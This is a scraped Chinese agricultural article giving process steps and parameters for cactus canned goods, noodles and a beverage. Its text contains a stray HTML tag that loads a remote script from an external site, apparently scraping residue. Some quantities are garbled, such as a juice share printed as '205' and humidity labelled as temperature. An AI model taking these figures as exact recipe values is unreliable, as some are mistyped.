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仙人掌的加工技术

来源:未知
】 2012-08-12 00:00
[摘要]#106avascript" src="http://zz.ag365.com/js/check.asp?id=4164"/gt;仙人掌为仙人掌科所有种类的统称。仙人掌中含有较丰富的蛋白质、矿物质、微量元素及维生素,还具有较高的保健功效,如清热解毒、滋补健胃、调节血脂等等。以仙人掌为原料可加工果酱、饮料
<Script type="text/javascript" src="http://zz.ag365.com/js/check.asp?id=4164"></Script>    仙人掌为仙人掌科所有种类的统称。仙人掌中含有较丰富的蛋白质、矿物质、微量元素及维生素,还具有较高的保健功效,如清热解毒、滋补健胃、调节血脂等等。以仙人掌为原料可加工果酱、饮料、罐头等多种产品。下面介绍几种仙人掌制品的加工技术。

  仙人掌保健罐头:

  一、 工艺流程:

  原料→去刺→削皮→切块→热烫→辅料去杂→清洗→预煮→装罐→封罐→杀菌→冷却。

  二、 加工要点:

  1.原料选择:选择新鲜或长到15天~20天的嫩茎,按质量要求选用可食部分,用净水清洗干净。

  2.去刺、削皮:将洗净的原料用消毒镊子拔去刺,然后用小刀将外皮削掉(15天~20天的嫩茎可以不去刺削皮),削皮时应少带茎肉。

  3.切块、热烫:削皮后用不锈钢刀切为长3cm~3.5cm,宽1.5cm~2cm的长方形块,要求切边平整、光滑,不得带有毛刺。为了除去仙人掌中的粘液质,切块后放入1%~2%的食盐沸水中热烫10min~15min,水中事先加入0.15%~0.2%铜叶绿酸钠进行护色,热烫至仙人掌块呈透明状为好,捞出在冷水中浸泡30min~60min,以脱去大部分盐分,然后用清水冲洗,沥干备用。

  4.辅料去杂:辅料桂圆肉、莲子、枸杞及红枣进行选料,分别除去杂质。

  5.清洗、浸泡:去杂后分别用净水将各辅料清洗干净。将桂圆肉在30C~35C热水中浸泡20min~30min;把捅芯联衣莲子放入冷水中浸泡10h~12h,以浸透不裂口为准;枸杞在冷水中浸泡1h~1.5h;红枣在浸泡前先除去枣核,再将每只核孔内嵌入泡透的莲子2粒,然后在冷水中浸泡2h~3h。各料捞出,分别沥干水分。

  6.预煮、冷却:净各种浸泡水过滤后配制成20%糖液,加入0.1%~0.15%的柠檬酸,搅匀煮沸,放入桂圆肉煮5min~8min,取出冷却;升温至95C~100C,放入浸好的莲子煮5min~8min,煮至酥软,不可过熟或过生,煮好后分段冷却;枸杞在糖水中预煮5min~8min,取出急速冷却;夹心红枣在糖水中煮20min~30min,以枣有透明感为止,冷却。

  7.装罐:

  (1)填充液准备:按开罐糖液浓度14%~18%要求,用预煮糖水经沉淀过滤调配为浓度30%左右,内含5%蜂蜜、0.1%乙基麦芽酚、0.06%以茶多酚,充分搅拌均匀。柠檬酸根据糖液PH值加用。溶解后用双层纱布过滤,保温75C~80C备用。

  (2)空罐准备:挑选无破损的胜利罐,在2%的氢氧化钠溶液、40~50C条件下浸泡15min~20min,刷净后用净水冲洗,烘干备用。

  (3)装罐:在用热风烘干的罐内装入预处理好的仙人掌块200g、桂圆肉5g、莲子10g、红枣(夹心)40g,然后加入保温75C以上填充液240g,保证罐头净重510g。

  8.封罐:装罐加汁后盖上消毒的罐盖,立即送真空封罐机抽气密封,真空度300mmHg~350mmHg。封罐后要及时杀菌,间隔时间不超过30min。

  9.杀菌、冷却:封罐后立即送入杀菌釜杀菌,其杀菌公式为:5′-25′-5′/100C。杀菌后分段冷却,最后冷却至38C左右即可,擦干罐盖及瓶身余水即成。

  仙人掌挂面:

  一、 工艺流程:

  仙人掌泥制备→和面→熟化→压片→切条→干燥→切断→计量→包装。

  二、 加工要点:

  1.原辅材料配比:原料中仙人掌泥、食盐、海藻酸钠的配比为:仙人掌泥18%、食盐1.8%、海藻酸钠0.4%。

  2.仙人掌泥制备:仙人掌去刺、洗净、切碎,用打浆机加工成糊状,再用60目筛过滤。在1升仙人掌糊中加80gβ-环状糊精充分搅拌混合,放入密封容器,置于冰箱4天,形成包接化合物,不但能保持仙人掌的色素在煮面过程中基本不溶出,保持了仙人掌的营养成分,而且减弱了仙人掌的苦涩味。

  3.和面、熟化:将面粉准确计量后加入和面机,再加入仙人掌泥、定量充分溶解的海灌酸钠和食盐水,使得最终加水量为30%,充分和面,时间在10min~15min为宜,和面用20C~30C温水较好。面团和好进入熟化阶段,采用静止熟化,时间15min左右。

  4.压片、切条:熟化后的面团经双辊压延机压成面带,再进一步轧薄至需厚度,最后切成一定宽度的面条。

  5.干燥:在烘房中进行,温度50C~55C,温度55%~65%,干燥至含水量为13%~14%。

  6.切断、计量、包装经干燥后挂面下架,计量、包装得成品。

  仙人掌饮料:

  一、工艺流程:

  原料处理→护色→打浆→过滤→调配→均质→灌装→杀菌。

  二、 加工要点:

  1.原料处理:仙人掌的肉茎由于直接接触地面,容易受到土壤微生物等污染,为此,必须进行消毒处理,一般可采用0.5%的过氧乙酸浸泡3min,然后用过滤水冲洗。

  2.护色:为保证仙人掌中的叶绿素,防止活性酶等氧化引起褐变,必须进行热烫处理护色。采用85C~90C下热烫1min,热烫后用0.1%的抗坏血酸与0.05%柠檬酸护色,由于抗坏血酸与柠檬酸协同作用,护色效果更好。

  3.打浆、过滤:热烫后,加入0.1%的抗坏血酸与0.05%柠檬酸及一定的热水进行打浆,先进行粗滤。

  4.调配:将仙人掌原汁205、低聚果糖1.5%、白砂糖4%、蛋白糖S-60 0.01%、复合稳定剂(黄原胶0.005%调配,风味适口、香气协调。

  5.均质:调配好的饮品在均质机中均质处理,压力为20MPa~25Mpa。

  6.灌装、杀菌:均质后在80C以上进行热灌装,脱气、封口、杀菌,其杀菌公式为:5′-25′/100C,冷地后即制成色、香、味价目佳的仙人掌饮料。